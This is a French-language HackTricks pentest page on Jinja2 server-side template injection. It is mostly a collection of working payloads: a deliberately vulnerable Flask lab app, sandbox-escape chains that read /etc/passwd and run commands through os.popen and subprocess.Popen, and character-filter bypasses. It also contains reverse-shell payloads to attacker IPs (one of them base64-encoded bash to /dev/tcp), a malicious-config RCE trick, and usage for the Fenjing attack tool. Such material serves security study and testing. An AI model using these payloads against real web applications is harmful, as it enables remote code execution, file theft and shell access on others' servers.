Jinja2 SSTI

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Laboratoire

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Divers

Déclaration Debug

Si l’extension Debug est activée, un tag debug sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le template sans configurer un debugger.

<pre>

{% raw %}
{% debug %}
{% endraw %}








</pre>

Source : https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

Afficher toutes les variables de configuration

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}






Jinja Injection

Tout d’abord, dans une Jinja injection vous devez trouver un moyen d’échapper au sandbox et récupérer l’accès au flux d’exécution python régulier. Pour ce faire, vous devez abuser d’objets qui proviennent du non-sanboxed python env mais sont accessibles depuis le sandbox.

Accéder aux objets globaux

Par exemple, dans le code render_template("hello.html", username=username, email=email) les objets username et email come from the non-sanboxed python env et seront accessible à l’intérieur du sandboxed env.\
De plus, il existe d’autres objets qui seront always accessible from the sandboxed env, ce sont :

[]
''
()
dict
config
request

Récupérer <class ‘object’>

Ensuite, à partir de ces objets nous devons atteindre la classe : <class 'object'> afin d’essayer de récupérer les classes définies. En effet, depuis cet objet nous pouvons appeler la méthode __subclasses__ et accéder à toutes les classes de l’environnement python non-sandboxed.

Pour accéder à cette classe d’objets, vous devez accéder à un objet de classe puis obtenir soit __base__, soit __mro__()[-1] ou .mro()[-1]. Et ensuite, après être arrivé à cette classe d’objets nous appelons __subclasses__().

Voir ces exemples :

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}






# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

Après avoir récupéré <class 'object'> et appelé __subclasses__ nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.

L’appel à __subclasses__ nous a donné la possibilité d’accéder à des centaines de nouvelles fonctions, nous serons satisfaits simplement en accédant à la file class pour lire/écrire des fichiers ou à toute classe ayant accès à une classe qui permet d’exécuter des commandes (comme os).

Lire/Écrire un fichier distant

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Payloads with {% ... %}

Parfois {{ ... }} est bloqué, filtré ou l’injection se retrouve dans un contexte adapté aux instructions. Dans ces cas vous pouvez toujours abuser des balises d’instruction Jinja telles que {% with %}, {% if %}, {% for %}, {% set %} et, dans les versions récentes, {% print %} pour exécuter du code, leak des données via le corps du bloc, ou déclencher des effets secondaires blind.

{% raw %}
# Simple statement-tag primitives
{% print(1) %}
{% if 7*7 == 49 %}OK{% endif %}
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
{% set x = 7*7 %}{{ x }}
{% for i in range(3) %}{{ i }}{% endfor %}
{% with a = ''.__class__ %}{{ a }}{% endwith %}
{% print(''.__class__.__mro__[1]) %}
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}

# Flask-like contexts: use already reachable globals/functions
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}

# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
# are often still available.
{% print(lipsum) %}
{% print(cycler) %}
{% print(joiner) %}
{% print(namespace) %}
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
{% if cycler.__init__.__globals__ %}G_OK{% endif %}

# RCE using default Jinja globals
{% print(lipsum.__globals__['os'].popen('id').read()) %}
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}

# Blind / boolean primitive
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
YES
{% endif %}
{% endraw %}

Si la cible filtre certains caractères mais autorise toujours les balises d’instructions, combinez cette idée avec les filter bypasses et l’no-{{ / no-. / no-_ example. N’oubliez pas non plus que {% print %} n’est pas obligatoire : sur des cibles où il n’est pas disponible, {% with %}, {% if %}, {% set %} et {% for %} suffisent généralement pour continuer d’exploiter le template.

Pour en savoir plus sur d’autres classes que vous pouvez utiliser pour échapper au sandbox, vous pouvez consulter :

Bypass Python sandboxes

Filter bypasses

Common bypasses

Ces contournements nous permettront de accéder aux attributs des objets sans utiliser certains caractères.
Nous en avons déjà vu certains dans les exemples précédents, mais résumons-les ici :

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}






Éviter l’encodage HTML

Par défaut, Flask encode en HTML tout le contenu à l’intérieur d’un template pour des raisons de sécurité :

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Le safe filtre nous permet d’injecter JavaScript et HTML dans la page sans qu’ils soient encodés en HTML, comme ceci :

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE en écrivant un fichier de configuration malveillant.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Sans certains caractères

Sans {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}






Jinja Injection sans <class ‘object’>

Depuis les global objects il existe une autre façon d’obtenir RCE sans utiliser cette classe.
Si vous parvenez à accéder à n’importe quelle function de ces global objects, vous pourrez accéder à __globals__.__builtins__ et de là le RCE est très simple.

Vous pouvez find functions dans les objets request, config et tout autre global object intéressant auxquels vous avez accès avec :

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Une fois que vous avez trouvé quelques fonctions, vous pouvez récupérer les builtins avec :

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing est un outil spécialisé dans les CTFs mais peut aussi être utile pour bruteforce des params invalides dans un scénario réel. L’outil envoie massivement des mots et des requêtes pour détecter des filtres, rechercher des bypasses, et fournit également une console interactive.

Traduction Google anglais-chinois

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

Références

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks